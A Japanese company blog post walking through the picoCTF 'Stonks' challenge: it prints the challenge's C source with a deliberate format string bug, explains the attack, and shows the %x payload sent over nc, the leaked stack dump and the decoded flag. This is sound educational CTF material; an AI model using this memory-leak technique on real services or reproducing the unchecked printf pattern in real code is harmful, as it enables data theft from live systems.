アヒルのある日

株式会社AHIRUの社員ブログです。毎週更新!社員が自由に思いついたことを書きます。

CTFリハビリ編

こんにちは!いかついプログラマです。


唐突ですが,CTFってご存知でしょうか.
ネットでCTFと検索してみるとCapture The Flagの略称だなんだと出てくると思いますが,ざっくり説明すると「セキュリティスキルを用いたコンテスト(クイズ大会?)」です.

私は学生時代極々低頻度で参加していたのですが,社会人になってからというもの完全に疎遠になってしまいました...

ですが,ブログのネタのためここらで心機一転CTFの世界にもう一度足を踏み入れようじゃないか!

...と決意したはいいものの脳がすっかりCTFを忘れてしまっているんですよね...

ということで,CTFerの入門といえばみなさんおなじみの(?)picoCTFの問題を解いてリハビリをしていきます.

早速記念すべきリハビリ第一問目

Stonks

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 6989

vuln.cというソースコードが配布されて,ncで接続するとプログラムが実行されます.
vuln.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}


ざっくりコードを見てみると,答えとなる文字列(CTFではフラグという)はbuy_stonks関数内でapi_bufに読み込まれていそうです.
but_stonks関数内をさらに見てみると,あからさまにuser_buf変数をscanfしてprintfしている個所があります.
これは書式文字列攻撃が使用できそうです.
書式文字列攻撃とは,Cのprintf命令で使用できる書式文字列(%d,%sなど)を利用してメモリの中身を閲覧する(%nで書き換えも可能ですが今回は使用しません)手法を指します.
書式文字列が指定された際に,printfが書式文字列の数だけスタックを参照しに行くことを利用します.
ということでuser_bufに大量の書式文字列(中身を読みたいので%xで16進数で出力)を投入してみると...

nc mercury.picoctf.net 6989
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
8c7a3f0804b00080489c3f7ec4d80ffffffff18c78160f7ed2110f7ec4dc708c7918068c7a3d08c7a3f06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3538613032356533ffae007df7effaf8f7ed2440b72ec30010f7d61ce9f7ed30c0f7ec45c0f7ec4000ffaee9a8f7d5268df7ec45c08048ecaffaee9b40f7ee6f09804b000f7ec4000f7ec4e20ffaee9e8f7eecd50f7ec5890b72ec300f7ec4000804b000ffaee9e88048c868c78160ffaee9d4ffaee9e88048be9f7ec43fc0ffaeea9cffaeea94118c78160b72ec300ffaeea0000f7d07fa1f7ec4000f7ec40000f7d07fa11ffaeea94ffaeea9cffaeea2410f7ec4000f7ee770af7eff0000f7ec400000bf6b18dd4241decd000180486300f7eecd50f7ee7960804b00018048630080486628048b851ffaeea948048cd08048d30f7ee7960ffaeea8cf7eff9401ffaefe790ffaefeb2ffaefebfffaefec8ffaefef7ffaeff2fffaeff4affaeff6bffaeff73020f7ed7b5021f7ed7000101f8bfbff61000116438048034420597f7ed80008098048630b413c413d414e41417
Portfolio as of Tue Oct 11 13:59:41 UTC 2022


6 shares of YC
1 shares of MNPB
2 shares of KKF
25 shares of MQV
83 shares of USKY
211 shares of MI
550 shares of XTE
764 shares of OON
Goodbye!

謎の16進数

8c7a3f0804b00080489c3f7ec4d80ffffffff18c78160f7ed2110f7ec4dc708c7918068c7a3d08c7a3f06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3538613032356533ffae007df7effaf8f7ed2440b72ec30010f7d61ce9f7ed30c0f7ec45c0f7ec4000ffaee9a8f7d5268df7ec45c08048ecaffaee9b40f7ee6f09804b000f7ec4000f7ec4e20ffaee9e8f7eecd50f7ec5890b72ec300f7ec4000804b000ffaee9e88048c868c78160ffaee9d4ffaee9e88048be9f7ec43fc0ffaeea9cffaeea94118c78160b72ec300ffaeea0000f7d07fa1f7ec4000f7ec40000f7d07fa11ffaeea94ffaeea9cffaeea2410f7ec4000f7ee770af7eff0000f7ec400000bf6b18dd4241decd000180486300f7eecd50f7ee7960804b00018048630080486628048b851ffaeea948048cd08048d30f7ee7960ffaeea8cf7eff9401ffaefe790ffaefeb2ffaefebfffaefec8ffaefef7ffaeff2fffaeff4affaeff6bffaeff73020f7ed7b5021f7ed7000101f8bfbff61000116438048034420597f7ed80008098048630b413c413d414e41417

が出力されます.
これをasciiに変換してあげると...

z?°H?~ÄØÿÿÿñx~Ò~ÄÜpyz=Ç£ðocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿ®}÷ïúø÷í$@·.Ã÷Öé÷í0À÷ìEÀ÷ì@ÿ®é¨÷Õ&÷ìEÀHì¯úî@÷îo K~Ä~Äâúî~ìÕ~Årì0~Ä°ÿ®éèHÈhÇ`ÿ®éÔÿ®éèH¾~Ä?Àÿ®êÿ®êxrì0úî }ú~Ä~Ä÷Сúî©Oúî©Ïúî¢A~Ä~çp¯~ÿ÷ì@¿kÝBAÞÍHc÷îÍP÷îy`KHcHf(úî©HÐHÓ~çúî¨Ï~ÿÿ®þyúïë/úïëÿúïìúïïúïòÿúïô¯úïö¿úï÷0 ÷í{P!÷ípûÿaCHD Y~Ø HcA

ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿ®}
フラグっぽい文字列を発見しました.
4文字ずつ反対に読んで並び替えると...

picoCTF{I_l05t_4ll_my_m0n3y_0a853e52}

無事フラグがゲットできました.



ここまで解いてかなり自分のCTF脳が衰えていることがわかりました...
次回はもう少し難しい問題を解ければと思います.

それではまた次回!